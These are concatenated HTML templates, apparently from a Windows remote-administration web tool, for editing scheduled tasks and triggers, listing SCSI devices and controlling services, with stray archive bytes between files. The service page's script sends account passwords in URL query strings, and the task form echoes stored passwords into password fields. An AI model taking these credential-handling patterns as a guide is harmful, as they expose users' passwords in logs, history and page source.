<tr><td align="right"><?&MSG.ADMIN.SCHEDULE.Param  ?>:</td><td><input type="text" size=50 name="args"    value="&TASK.APP.ARGS&"></td></tr>
<tr><td align="right"><?&MSG.ADMIN.SCHEDULE.Dir    ?>:</td><td><input type="text" size=50 name="dir"     value="&TASK.APP.DIR&"><?usemacro BrowseButton("document.forms.sched.dir.value")?></td></tr>
<tr><td align="right"><?&MSG.ADMIN.SCHEDULE.Comment?>:</td><td><input type="text" size=50 name="comment" value="&TASK.COMMENT&"></td></tr>
<tr><td align="right"><?&MSG.ADMIN.SCHEDULE.MaxTime?>:</td><td><input type="text"         name="maxtime" value="&TASK.MAXTIME&"> <?&MSG.ADMIN.SCHEDULE.xmins?></td></tr>
<tr><td align="right"><?&MSG.ADMIN.SCHEDULE.Runas  ?>:</td><td><input type="text" size=50 name="user" value="<?if REQ.TASK?>&TASK.APP.USER&<?else?>&USERNAME&<?endif?>"></td></tr>
<?if not ISVISTAORBETTER?>
<tr><td align="right"><?&MSG.DIALOG.PWDENTRY       ?>:</td><td><input type="password" size=50 name="pass" value="&TASK.APP.PASS&"></td></tr>
<tr><td align="right"><?&MSG.DIALOG.PWDCONFIRM     ?>:</td><td><input type="password" size=50 name="pass2" value="&TASK.APP.PASS&"></td></tr>
<?endif?>
</table><br></fieldset>
<p>
<?if ISVISTAORBETTER?>
<input type="button" value="&MSG.DIALOG.Apply&" onclick="showCredentialsDialogIfNeeded('sched');">
<?else?>
<input type="submit" value="&MSG.DIALOG.Apply&">
<?endif?>
<input type="submit" value="&MSG.DIALOG.Back&" name="cancel">
</p>
</center>
</div>

<!-- SETTINGS -->
<div class="tab-page" id="tabSettings">
<h2 class="tab">&nbsp;<?&MSG.ADMIN.SCHEDULE.Settings?>&nbsp;</h2>
<script type="text/javascript">tp1.addTabPage(document.getElementById("tabSettings"));</script>
<center>
<fieldset><br><table>
<tr><td><input type="checkbox" name="enabled"    <?checked REQ.NEW or TASK.ENABLED?>></td><td><?&MSG.ADMIN.SCHEDULE.FLAGS.Enabled?></td></tr>
<tr><td><input type="checkbox" name="dropdone"   <?checked TASK.DROPDONE?>></td><td><?&MSG.ADMIN.SCHEDULE.FLAGS.Dropdone?></td></tr>
<tr><td><input type="checkbox" name="interact"   <?checked REQ.NEW and ISVISTAORBETTER or TASK.INTERACT?>></td><td><?&MSG.ADMIN.SCHEDULE.FLAGS.Interact?></td></tr>
<tr><td><input type="checkbox" name="onlyifon"   <?checked REQ.NEW and ISVISTAORBETTER or TASK.ONLYIFON?>></td><td><?&MSG.ADMIN.SCHEDULE.FLAGS.OnlyIfOn?></td></tr>
<tr><td><input type="checkbox" name="hidden"     <?checked TASK.HIDDEN?>></td><td><?&MSG.ADMIN.SCHEDULE.FLAGS.Hidden?></td></tr>
<tr><td><input type="checkbox" name="battskip"   <?checked TASK.BATTSKIP?>></td><td><?&MSG.ADMIN.SCHEDULE.FLAGS.BattSkip?></td></tr>
<tr><td><input type="checkbox" name="battkill"   <?checked TASK.BATTKILL?>></td><td><?&MSG.ADMIN.SCHEDULE.FLAGS.BattKill?></td></tr>
<tr><td><input type="checkbox" name="idleonly"   <?checked TASK.IDLEONLY?>></td><td><?&MSG.ADMIN.SCHEDULE.FLAGS.IdleOnly?></td></tr>
<tr><td><input type="checkbox" name="idlekill"   <?checked TASK.IDLEKILL?>></td><td><?&MSG.ADMIN.SCHEDULE.FLAGS.IdleKill?></td></tr>
</table><br></fieldset>
<p>
<?if ISVISTAORBETTER?>
<input type="button" value="&MSG.DIALOG.Apply&" onclick="showCredentialsDialogIfNeeded('sched');">
<?else?>
<input type="submit" value="&MSG.DIALOG.Apply&">
<?endif?>
<input type="submit" value="&MSG.DIALOG.Back&" name="cancel">
</p>
</center>
</div>

</form>

<?if REQ.TASK?>
<!-- SCHEDULE -->
<div class="tab-page" id="tabSchedule">
<h2 class="tab">&nbsp;<?&MSG.ADMIN.SCHEDULE.SCHED?>&nbsp;</h2>
<script type="text/javascript">tp1.addTabPage(document.getElementById("tabSchedule"));</script>

<div class="tab-pane" id="tabPane2">
<script type="text/javascript">
var tp2 = new RATabPane(document.getElementById("tabPane2"));
</script>

<?if TRIGGERS?>
<?enum TRIGGERS?>
<div class="tab-page" id="tabTrigger$TRIGGER.INDEX$">
<h2 class="tab">&nbsp;<?&TRIGGER.INDEX?>:&nbsp;<?&MSG.ADMIN.SCHEDULE.TRIGGER:TRIGGER.TYPE?>&nbsp;</h2>
<script type="text/javascript">tp2.addTabPage(document.getElementById("tabTrigger$TRIGGER.INDEX$"));</script>
<form name="trigger&TRIGGER.INDEX&" action="&TEMPLATE&" method="post">
<center>
<input type="hidden" name="action" value="set">
<input type="hidden" name="type" value="&TRIGGER.TYPE&">
<input type="hidden" name="task" value="&REQ.TASK&">
<input type="hidden" name="trigger" value="&TRIGGER.INDEX&">
<input type="hidden" name="tab1" value="2">
<input type="hidden" name="tab2" value="&TRIGGER.INDEX&-1">
<input type="hidden" name="user" />
<input type="hidden" name="pass" />
<input type="hidden" name="pass2" />
<?&TRIGGER.STRING?>
<fieldset><legend><?&MSG.ADMIN.SCHEDULE.SETTINGS?></legend><br><table>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.FLAGS.enabled?>:</td>
<td><input type="checkbox" name="enabled" <?checked TRIGGER.ENABLED?>></td>
</tr>
<tr>
<td align="right" width="40%"><?&MSG.ADMIN.SCHEDULE.STARTD?>:</td>
<td><input type="text" name="smon" value="&TRIGGER.SMON&" size="2">.<input type="text" name="sday" value="&TRIGGER.SDAY&" size="2">.<input type="text" name="syear" value="&TRIGGER.SYEAR&" size="4"></td>
</tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.STARTT?>:</td>
<td><input type="text" name="HH" value="&TRIGGER.HH&" size="2">:<input type="text" name="MM" value="&TRIGGER.MM&" size="2"></td>
</tr>
<tr><td colspan=2>&nbsp;</td></tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.TRIGGER.REPEAT?>:</td>
<td><input type="checkbox" name="dorepeat" <?checked TRIGGER.DOREPEAT?> value="1"></td>
</tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.Every?>:</td>
<td><input type="text" name="repeat" value="&TRIGGER.REPEAT&" size="3"> <?&MSG.ADMIN.SCHEDULE.xmins?></td>
</tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.For?>:</td>
<td><input type="text" name="duration" value="&TRIGGER.DURATION&" size="3"> <?&MSG.ADMIN.SCHEDULE.xmins?></td>
</tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.stop?>:</td>
<td><input type="checkbox" name="kill" <?checked TRIGGER.KILL?>></td>
</tr>
<tr><td colspan=2>&nbsp;</td></tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.TRIGGER.ENDDATE?>:</td>
<td><input type="checkbox" name="hasenddate" <?checked TRIGGER.HASENDDATE?> value="1"></td>
</tr>
<tr>
<td align="right" width="40%"><?&MSG.ADMIN.SCHEDULE.ENDD?>:</td>
<td><input type="text" name="emon" value="&TRIGGER.EMON&" size="2">.<input type="text" name="eday" value="&TRIGGER.EDAY&" size="2">.<input type="text" name="eyear" value="&TRIGGER.EYEAR&" size="4"></td>
</tr>
</table><br></fieldset>

<?switch TRIGGER.TYPE?>
<?case "daily"?>
<fieldset><legend><?&MSG.ADMIN.SCHEDULE.TRIGGER:TRIGGER.TYPE?></legend><br><table>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.every?>:</td>
<td><input type="text" name="interval" value="&TRIGGER.INTERVAL&" size="2"> <?&MSG.ADMIN.SCHEDULE.xdays?></td>
</tr>
</table><br></fieldset>

<?case "weekly"?>
<fieldset><legend><?&MSG.ADMIN.SCHEDULE.TRIGGER:TRIGGER.TYPE?></legend><br><table>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.every?>:</td>
<td><input type="text" name="interval" value="&TRIGGER.INTERVAL&" size="2"> <?&MSG.ADMIN.SCHEDULE.xdays?></td>
</tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.Days?>:</td>
<td>
<input type="checkbox" name="daymon" value="1" <?checked TRIGGER.DAYS has "mon"?>>&CAL.Mon&
<input type="checkbox" name="daytue" value="1" <?checked TRIGGER.DAYS has "tue"?>>&CAL.Tue&
<input type="checkbox" name="daywed" value="1" <?checked TRIGGER.DAYS has "wed"?>>&CAL.Wed&
<input type="checkbox" name="daythu" value="1" <?checked TRIGGER.DAYS has "thu"?>>&CAL.Thu&
<input type="checkbox" name="dayfri" value="1" <?checked TRIGGER.DAYS has "fri"?>>&CAL.Fri&
<input type="checkbox" name="daysat" value="1" <?checked TRIGGER.DAYS has "sat"?>>&CAL.Sat&
<input type="checkbox" name="daysun" value="1" <?checked TRIGGER.DAYS has "sun"?>>&CAL.Sun&
</td>
</tr>
</table><br></fieldset>

<?case "monthlyd"?>
<fieldset><legend><?&MSG.ADMIN.SCHEDULE.TRIGGER:TRIGGER.TYPE?></legend><br><table>
<tr>
<td align="right" valign="top"><?&MSG.ADMIN.SCHEDULE.Months?>:</td>
<td>
<input type="checkbox" name="monjan" value="1" <?checked TRIGGER.MONTHS has "jan"?>>&CAL.Jan&
<input type="checkbox" name="monfeb" value="1" <?checked TRIGGER.MONTHS has "feb"?>>&CAL.Feb&
<input type="checkbox" name="monmar" value="1" <?checked TRIGGER.MONTHS has "mar"?>>&CAL.Mar&
<input type="checkbox" name="monapr" value="1" <?checked TRIGGER.MONTHS has "apr"?>>&CAL.Apr&
<input type="checkbox" name="monmay" value="1" <?checked TRIGGER.MONTHS has "may"?>>&CAL.May&
<input type="checkbox" name="monjun" value="1" <?checked TRIGGER.MONTHS has "jun"?>>&CAL.Jun&<br>
<input type="checkbox" name="monjul" value="1" <?checked TRIGGER.MONTHS has "jul"?>>&CAL.Jul&
<input type="checkbox" name="monaug" value="1" <?checked TRIGGER.MONTHS has "aug"?>>&CAL.Aug&
<input type="checkbox" name="monsep" value="1" <?checked TRIGGER.MONTHS has "sep"?>>&CAL.Sep&
<input type="checkbox" name="monoct" value="1" <?checked TRIGGER.MONTHS has "oct"?>>&CAL.Oct&
<input type="checkbox" name="monnov" value="1" <?checked TRIGGER.MONTHS has "nov"?>>&CAL.Nov&
<input type="checkbox" name="mondec" value="1" <?checked TRIGGER.MONTHS has "dec"?>>&CAL.Dec&
</td>
</tr>
<tr>
<td align="right" valign="top"><?&MSG.ADMIN.SCHEDULE.Days?>:</td>
<td>
<input type="checkbox" name="day01" value="1" <?checked TRIGGER.DAYS has "01"?>>01
<input type="checkbox" name="day02" value="1" <?checked TRIGGER.DAYS has "02"?>>02
<input type="checkbox" name="day03" value="1" <?checked TRIGGER.DAYS has "03"?>>03
<input type="checkbox" name="day04" value="1" <?checked TRIGGER.DAYS has "04"?>>04
<input type="checkbox" name="day05" value="1" <?checked TRIGGER.DAYS has "05"?>>05
<input type="checkbox" name="day06" value="1" <?checked TRIGGER.DAYS has "06"?>>06
<input type="checkbox" name="day07" value="1" <?checked TRIGGER.DAYS has "07"?>>07<br>
<input type="checkbox" name="day08" value="1" <?checked TRIGGER.DAYS has "08"?>>08
<input type="checkbox" name="day09" value="1" <?checked TRIGGER.DAYS has "09"?>>09
<input type="checkbox" name="day10" value="1" <?checked TRIGGER.DAYS has "10"?>>10
<input type="checkbox" name="day11" value="1" <?checked TRIGGER.DAYS has "11"?>>11
<input type="checkbox" name="day12" value="1" <?checked TRIGGER.DAYS has "12"?>>12
<input type="checkbox" name="day13" value="1" <?checked TRIGGER.DAYS has "13"?>>13
<input type="checkbox" name="day14" value="1" <?checked TRIGGER.DAYS has "14"?>>14<br>
<input type="checkbox" name="day15" value="1" <?checked TRIGGER.DAYS has "15"?>>15
<input type="checkbox" name="day16" value="1" <?checked TRIGGER.DAYS has "16"?>>16
<input type="checkbox" name="day17" value="1" <?checked TRIGGER.DAYS has "17"?>>17
<input type="checkbox" name="day18" value="1" <?checked TRIGGER.DAYS has "18"?>>18
<input type="checkbox" name="day19" value="1" <?checked TRIGGER.DAYS has "19"?>>19
<input type="checkbox" name="day20" value="1" <?checked TRIGGER.DAYS has "20"?>>20
<input type="checkbox" name="day21" value="1" <?checked TRIGGER.DAYS has "21"?>>21<br>
<input type="checkbox" name="day22" value="1" <?checked TRIGGER.DAYS has "22"?>>22
<input type="checkbox" name="day23" value="1" <?checked TRIGGER.DAYS has "23"?>>23
<input type="checkbox" name="day24" value="1" <?checked TRIGGER.DAYS has "24"?>>24
<input type="checkbox" name="day25" value="1" <?checked TRIGGER.DAYS has "25"?>>25
<input type="checkbox" name="day26" value="1" <?checked TRIGGER.DAYS has "26"?>>26
<input type="checkbox" name="day27" value="1" <?checked TRIGGER.DAYS has "27"?>>27
<input type="checkbox" name="day28" value="1" <?checked TRIGGER.DAYS has "28"?>>28<br>
<input type="checkbox" name="day29" value="1" <?checked TRIGGER.DAYS has "29"?>>29
<input type="checkbox" name="day30" value="1" <?checked TRIGGER.DAYS has "30"?>>30
<input type="checkbox" name="day31" value="1" <?checked TRIGGER.DAYS has "31"?>>31
</td>
</tr>
</table><br></fieldset>

<?case "monthlyw"?>
<fieldset><legend><?&MSG.ADMIN.SCHEDULE.TRIGGER:TRIGGER.TYPE?></legend><br><table>
<tr>
<td align="right" valign="top"><?&MSG.ADMIN.SCHEDULE.Months?>:</td>
<td>
<input type="checkbox" name="monjan" value="1" <?checked TRIGGER.MONTHS has "jan"?>>&CAL.Jan&
<input type="checkbox" name="monfeb" value="1" <?checked TRIGGER.MONTHS has "feb"?>>&CAL.Feb&
<input type="checkbox" name="monmar" value="1" <?checked TRIGGER.MONTHS has "mar"?>>&CAL.Mar&
<input type="checkbox" name="monapr" value="1" <?checked TRIGGER.MONTHS has "apr"?>>&CAL.Apr&
<input type="checkbox" name="monmay" value="1" <?checked TRIGGER.MONTHS has "may"?>>&CAL.May&
<input type="checkbox" name="monjun" value="1" <?checked TRIGGER.MONTHS has "jun"?>>&CAL.Jun&<br>
<input type="checkbox" name="monjul" value="1" <?checked TRIGGER.MONTHS has "jul"?>>&CAL.Jul&
<input type="checkbox" name="monaug" value="1" <?checked TRIGGER.MONTHS has "aug"?>>&CAL.Aug&
<input type="checkbox" name="monsep" value="1" <?checked TRIGGER.MONTHS has "sep"?>>&CAL.Sep&
<input type="checkbox" name="monoct" value="1" <?checked TRIGGER.MONTHS has "oct"?>>&CAL.Oct&
<input type="checkbox" name="monnov" value="1" <?checked TRIGGER.MONTHS has "nov"?>>&CAL.Nov&
<input type="checkbox" name="mondec" value="1" <?checked TRIGGER.MONTHS has "dec"?>>&CAL.Dec&
</td>
</tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.Days?>:</td>
<td>
<input type="checkbox" name="daymon" value="1" <?checked TRIGGER.DAYS has "mon"?>>&CAL.Mon&
<input type="checkbox" name="daytue" value="1" <?checked TRIGGER.DAYS has "tue"?>>&CAL.Tue&
<input type="checkbox" name="daywed" value="1" <?checked TRIGGER.DAYS has "wed"?>>&CAL.Wed&
<input type="checkbox" name="daythu" value="1" <?checked TRIGGER.DAYS has "thu"?>>&CAL.Thu&
<input type="checkbox" name="dayfri" value="1" <?checked TRIGGER.DAYS has "fri"?>>&CAL.Fri&
<input type="checkbox" name="daysat" value="1" <?checked TRIGGER.DAYS has "sat"?>>&CAL.Sat&
<input type="checkbox" name="daysun" value="1" <?checked TRIGGER.DAYS has "sun"?>>&CAL.Sun&
</td>
</tr>
<tr>
<td align="right"><?&MSG.ADMIN.SCHEDULE.WOM.TITLE?>:</td>
<td><select name="week">
<option value="1" <?selected TRIGGER.WEEK="1"?>>&MSG.ADMIN.SCHEDULE.WOM.1&</option>
<option value="2" <?selected TRIGGER.WEEK="2"?>>&MSG.ADMIN.SCHEDULE.WOM.2&</option>
<option value="3" <?selected TRIGGER.WEEK="3"?>>&MSG.ADMIN.SCHEDULE.WOM.3&</option>
<option value="4" <?selected TRIGGER.WEEK="4"?>>&MSG.ADMIN.SCHEDULE.WOM.4&</option>
<option value="5" <?selected TRIGGER.WEEK="5"?>>&MSG.ADMIN.SCHEDULE.WOM.5&</option>
</select> <?&MSG.ADMIN.SCHEDULE.WOM.DESCR?></td>
</tr>
</table><br></fieldset>

<?endswitch?>
<p>
<?if ISVISTAORBETTER?>
<input type="button" value="&MSG.DIALOG.Apply&" onclick="showCredentialsDialogIfNeeded('trigger$TRIGGER.INDEX$');">
<input type="button" value="&MSG.DIALOG.Remove&" name="delete" onclick="showCredentialsDialogIfNeeded('trigger$TRIGGER.INDEX$', 'del');">
<?else?>
<input type="submit" value="&MSG.DIALOG.Apply&">
<input type="submit" value="&MSG.DIALOG.Remove&" name="delete">
<?endif?>
<input type="submit" value="&MSG.DIALOG.Back&" name="cancel">
</p>
</center>
</form>
</div>
<?next?>
<?endif?>
<div class="tab-page" id="tabTriggerNew">
<h2 class="tab">&nbsp;<?&MSG.ADMIN.SCHEDULE.NEW?>&nbsp;</h2>
<script type="text/javascript">tp2.addTabPage(document.getElementById("tabTriggerNew"));</script>
<form name="triggerForm" action="&TEMPLATE&" method="post">
<center>
<input type="hidden" name="action" value="add">
<input type="hidden" name="task" value="&REQ.TASK&">
<input type="hidden" name="enabled" value="1">
<input type="hidden" name="interval" value="1">
<input type="hidden" name="monjan" value="1"><input type="hidden" name="monfeb" value="1"><input type="hidden" name="monmar" value="1"><input type="hidden" name="monapr" value="1"><input type="hidden" name="monmay" value="1"><input type="hidden" name="monjun" value="1">
<input type="hidden" name="monjul" value="1"><input type="hidden" name="monaug" value="1"><input type="hidden" name="monsep" value="1"><input type="hidden" name="monoct" value="1"><input type="hidden" name="monnov" value="1"><input type="hidden" name="mondec" value="1">
<input type="hidden" name="daymon" value="1"><input type="hidden" name="daytue" value="1"><input type="hidden" name="daywed" value="1"><input type="hidden" name="daythu" value="1"><input type="hidden" name="dayfri" value="1"><input type="hidden" name="daysat" value="0"><input type="hidden" name="daysun" value="0">
<input type="hidden" name="day1" value="1">
<input type="hidden" name="week" value="1">
<input type="hidden" name="tab1" value="2">
<input type="hidden" name="tab2" value="&TRIGGERS&">
<input type="hidden" name="user" />
<input type="hidden" name="pass" />
<input type="hidden" name="pass2" />
<?&MSG.TYPE?>:<br>
<select name="type" size="8">
<option value="daily"><?&MSG.ADMIN.SCHEDULE.TRIGGER.daily?></option>
<option value="weekly"><?&MSG.ADMIN.SCHEDULE.TRIGGER.weekly?></option>
<option value="monthlyd"><?&MSG.ADMIN.SCHEDULE.TRIGGER.monthlyd?></option>
<option value="monthlyw"><?&MSG.ADMIN.SCHEDULE.TRIGGER.monthlyw?></option>
<option value="once"><?&MSG.ADMIN.SCHEDULE.TRIGGER.once?></option>
<option value="system"><?&MSG.ADMIN.SCHEDULE.TRIGGER.system?></option>
<option value="logon"><?&MSG.ADMIN.SCHEDULE.TRIGGER.logon?></option>
<option value="idle"><?&MSG.ADMIN.SCHEDULE.TRIGGER.idle?></option>
</select>
<?if ISVISTAORBETTER?>
<p><input type="button" value="&MSG.DIALOG.ADD&" onclick="showCredentialsDialogIfNeeded('triggerForm');"></p>
<?else?>
<p><input type="submit" value="&MSG.DIALOG.ADD&"></p>
<?endif?>
</center>
</form>
</div>
</div>
</div>
<?endif?>
</div>

</div>
<!-- select tab-->
<script language="JavaScript">
<?if REQ.TAB1?>tp1.setSelectedIndex(&REQ.TAB1&);<?endif?>
<?if REQ.TAB2?>tp2.setSelectedIndex(&REQ.TAB2&);<?endif?>
</script>


</body>
</html>
̕scsiInfo.html؜<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText"><?&INFO.SCSI.TITLE?></span></div>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%INFO.SCSI.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<br><center>
<?action "scsilist"
//usemacro WINERRDLG()?>

<?if SCSI?>
<!-- ADAPTERS -->
<table class="inner">
<?enum SCSI?>
<?if SCSI.ADAPTER // adapter record?>
<tr><th colspan="5" align="left">
&INFO.SCSI.HOST&: &SCSI.IDENTIFIER&,
&INFO.DRIVE.ID&: &SCSI.ADAPTER&,
&INFO.PCI.DEV&: &SCSI.DEVICE&
</th></tr>
<tr>
<th>&MSG.TYPE&&nbsp;</th>
<th>&INFO.SCSI.UNIT&&nbsp;</th>
<th>&INFO.PCI.VENDOR&&nbsp;</th>
<th>&INFO.SCSI.PROD&&nbsp;</th>
<th>&INFO.PCI.REVISION&</th>
</tr>
<?else // device record?>
<tr>
<td>&SCSI.TYPE&</td>
<td class="num">&SCSI.TARGET&</td>
<td>&SCSI.VENDOR&</td>
<td>&SCSI.PRODUCT&</td>
<td>&SCSI.REVISION&</td>
</tr>
<?endif?>
<?next?>
</table>

<?else?>
&INFO.SCSI.NONE&
<?endif?>
<br><br>
</center>
</div>
</body>
</html>
Ϝservice.htmlU)<&<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
<?include "tabs.inc"?>

<style type="text/css">
td.stopped, td.stopping { color: &COLOR.ServLo&; }
td.starting, td.started { color: &COLOR.ServHi&; }
td.mstopped, td.mstopping { }
td.mstarting, td.mstarted { color: &COLOR.ServHi&; }
</style>
</head>

<body>
<form>
<?
// need to restart?
if REQ.RESTART
// get service status
action "svcinfo"
// stopped already?
if SERVICE.STATUS = "stopped"
// start service
set REQ.CTRL = "start"
endif
endif

// need to control service?
if REQ.CTRL
if REQ.CTRL = "kill"
// get process id
action "svcinfo"
// kill process
action "prockill" REQ.PID = SERVICE.PROCID
usemacro WINERRDLG()
else
// if restarting, first need to stop
if REQ.CTRL = "restart"
set REQ.CTRL = "stop"
set REQ.RESTART = "yes"
endif
// send service control request
action "svcctrl"
usemacro WINERRDLG()
// set wait state
switch REQ.CTRL
case "stop"
set REQ.WAIT = "stopping"
case "start"
set REQ.WAIT = "starting"
case "pause"
set REQ.WAIT = "pausing"
case "continue"
set REQ.WAIT = "continuing"
endswitch
endif
elseif REQ.START // need to set service attribs?
action "svcupdate"
usemacro WINERRDLG()
endif

// request detailed service information
action "svcinfo"
usemacro WINERRDLG()

// if we are restarting and the service stopped too fast,
// start it immediately
if REQ.RESTART
if SERVICE.STATUS = "stopped"
redirect TEMPLATE "?svc=" SERVICE.NAME "&ctrl=start&" RND
endif
endif
?>
<script language="JavaScript">
function setValues() {
var form = document.forms[0];
<?if SERVICE.WHAT="svc"?>
if (form.sysaccount[1].checked && form.account.value.length==0 )
alert( "Please specify the account name." );
else if (form.sysaccount[1].checked && form.pass.value!=form.passconf.value )
alert( "$MSG.DIALOG.PWDMISMATCH$" );
else
<?endif?>{
var	url;
url = "&TEMPLATE&";
url += "?svc=" + escape("$SERVICE.NAME$");
url += "&start=" + form.startup.options[form.startup.selectedIndex].value;
<?if SERVICE.WHAT="svc"?>
url += (form.sysaccount[0].checked ? "&interactive=" + (form.interactive.checked ? "1" : "0") : "");
url += "&user=" + (form.sysaccount[0].checked ? "LocalSystem" : form.account.value);
url += (form.sysaccount[1].checked ? "&pass=" + form.pass.value : "");
<?endif?>
url += "&what=$SERVICE.WHAT$&idx=$REQ.IDX$&%RND%";
window.location.replace(url);
}
}
function svcCtrl(type) {
if (type == "kill" && !confirm('$MSG.ADMIN.PROCESS.KILL$\n$MSG.DIALOG.MAKESURE$')) {
return;
}
var	url = "&TEMPLATE&?svc=" + escape("$SERVICE.NAME$");
url += "&ctrl=" + type;
url += "&what=$SERVICE.WHAT$&idx=$REQ.IDX$&%RND%";
window.location.replace(url);
}
</script>

<div class="tabwindow">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&SERVICE.DISPLAY?></span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.SERVICE.TITLE%%20%28%SERVICE.DISPLAY%%29&favicon=menu_manage.png&favargs=%TEMPLATE%%3Fwhat%3D%SERVICE.WHAT%%26svc%3D%SERVICE.NAME%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?what=%SERVICE.WHAT%&svc=%SERVICE.NAME%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<?if SERVICE.ACCEPT has "start"   ?><a href="javascript:svcCtrl('start')"  ><img src="img/ico_start.gif"   border="0" title="&MSG.ADMIN.SERVICE.TIP.START&"  ></a><?else?><img src="img/ico_start_off.gif"   border="0"><?endif?>
<?if SERVICE.ACCEPT has "stop"    ?><a href="javascript:svcCtrl('stop')"   ><img src="img/ico_stop.gif"    border="0" title="&MSG.ADMIN.SERVICE.TIP.STOP&"   ></a><?else?><img src="img/ico_stop_off.gif"    border="0"><?endif?>
<?if SERVICE.ACCEPT has "pause"   ?><a href="javascript:svcCtrl('pause')"  ><img src="img/ico_pause.gif"   border="0" title="&MSG.ADMIN.SERVICE.TIP.PAUSE&"  ></a><?elseif SERVICE.ACCEPT has "continue"?><a href="javascript:svcCtrl('continue')"><img src="img/ico_start.gif" border="0" title="&MSG.ADMIN.SERVICE.TIP.CONT&"></a><?else?><img src="img/ico_pause_off.gif" border="0"><?endif?>
<?if SERVICE.ACCEPT has "stop"    ?><a href="javascript:svcCtrl('restart')"><img src="img/ico_restart.gif" border="0" title="&MSG.ADMIN.SERVICE.TIP.RESTART&"></a><?else?><img src="img/ico_restart_off.gif" border="0"><?endif?>
<?if SERVICE.STATUS != "stopped"  ?><a href="javascript:svcCtrl('kill')"   ><img src="img/ico_kill.gif"    border="0" title="&MSG.ADMIN.PROCESS.KILL&"       ></a><?else?><img src="img/ico_kill_off.gif"    border="0"><?endif?>
</div>
</div>

<?if SERVICE.STATUS = REQ.WAIT?>
<div class="clientArea">
<center>
<h1><?&MSG.DIALOG.WAIT?></h1>
<?&SERVICE.DISPLAY?><br>
<?&MSG.ADMIN.SERVICE.STATUS:SERVICE.STATUS?><br>
&nbsp;<br>
<input type="button" value="&MSG.DIALOG.BACK&" onclick="window.location.replace('$TEMPLATE$?svc=' + escape('$SERVICE.NAME$') + '&$RND$')"><br>
&nbsp;<br>
</center>
</div>
<script language="JavaScript">
setTimeout("check()", 3000);
function check() {
var	url = "$TEMPLATE$?svc=" + escape("$SERVICE.NAME$");
url += "&wait=$REQ.WAIT$";
url += "&restart=$REQ.RESTART$";
url += "&what=$SERVICE.WHAT$&idx=$REQ.IDX$&%RND%";
window.location.replace(url);
}
</script>
<?else?>
<div class="tab-pane" id="tabPane">
<script type="text/javascript">
var tp = new RATabPane(document.getElementById("tabPane"));
</script>

<!-- GENERAL INFO -->
<div class="tab-page" id="tabGeneral">
<h2 class="tab"><?&MSG.GENERAL?></h2>
<script type="text/javascript">tp.addTabPage(document.getElementById("tabGeneral"));</script>
<table align=center>
<col width="30%" align="right">
<col align="left">
<tr>
<td align=right><?&MSG.ADMIN.SERVICE.SHORT?>:</td>
<td><font color="<?&COLOR.Link?>"><b><?&SERVICE.NAME?></b></font></td>
</tr>
<tr>
<td align=right><?&TYPE?>:</td>
<td><?&MSG.ADMIN.SERVICE.TYPE:SERVICE.TYPE?></td>
</tr>
<tr>
<td valign="top" align=right><?&MSG.ADMIN.SERVICE.BINARY?>:</td>
<td><?&SERVICE.PATH?></td>
</tr>
<?if SERVICE.PROCID?>
<tr>
<td align=right><?&MSG.ADMIN.SERVICE.ID?>:</td>
<td><a href="/procinfo.html?pid=%SERVICE.PROCID%&back=%TEMPLATE%%3fsvc%3d%REQ.SVC%"><?&SERVICE.PROCID?></a></td>
</tr>
<?endif?>
<tr>
<td align=right><?&MSG.ADMIN.SERVICE.ERROR?>:</td>
<td><?&SERVICE.ERRCTL?></td>
</tr>
<?if SERVICE.DESCR?>
<tr>
<td valign="top" align=right><?&MSG.DESC?>:</td>
<td><?&SERVICE.DESCR?></td>
</tr>
<?endif?>
<?if SERVICE.GROUP?>
<tr>
<td align=right><?&MSG.ADMIN.SERVICE.LOADGROUP?>:</td>
<td><?&SERVICE.GROUP?></td>
</tr>
<?endif?>
<tr>
<td align=right><?&MSG.ADMIN.SERVICE.START?>:</td>
<td><select name="startup">
<option value="auto"	 <?selected SERVICE.START = "auto"    ?>><?&MSG.ADMIN.SERVICE.START.auto?></option>
<?if SERVICE.WHAT = "drv" ?>
<option value="boot"	 <?selected SERVICE.START = "boot"    ?>><?&MSG.ADMIN.SERVICE.START.boot?></option>
<?endif?>
<option value="manual"	 <?selected SERVICE.START = "manual"  ?>><?&MSG.ADMIN.SERVICE.START.manual?></option>
<?if SERVICE.WHAT = "drv" ?>
<option value="system"	 <?selected SERVICE.START = "system"  ?>><?&MSG.ADMIN.SERVICE.START.system?></option>
<?endif?>
<option value="disabled" <?selected SERVICE.START = "disabled"?>><?&MSG.ADMIN.SERVICE.START.disabled?></option>
</select></td>
</tr>
<tr>
<td align=right><?&MSG.ADMIN.SERVICE.STATUS?>:</td>
<?switch SERVICE.START
case "manual","disabled"?>
<td class="m&SERVICE.STATUS&" nobreak>
<?case default?>
<td class="&SERVICE.STATUS&" nobreak>
<?endswitch?>
<?&MSG.ADMIN.SERVICE.STATUS:SERVICE.STATUS?></td>
</tr>
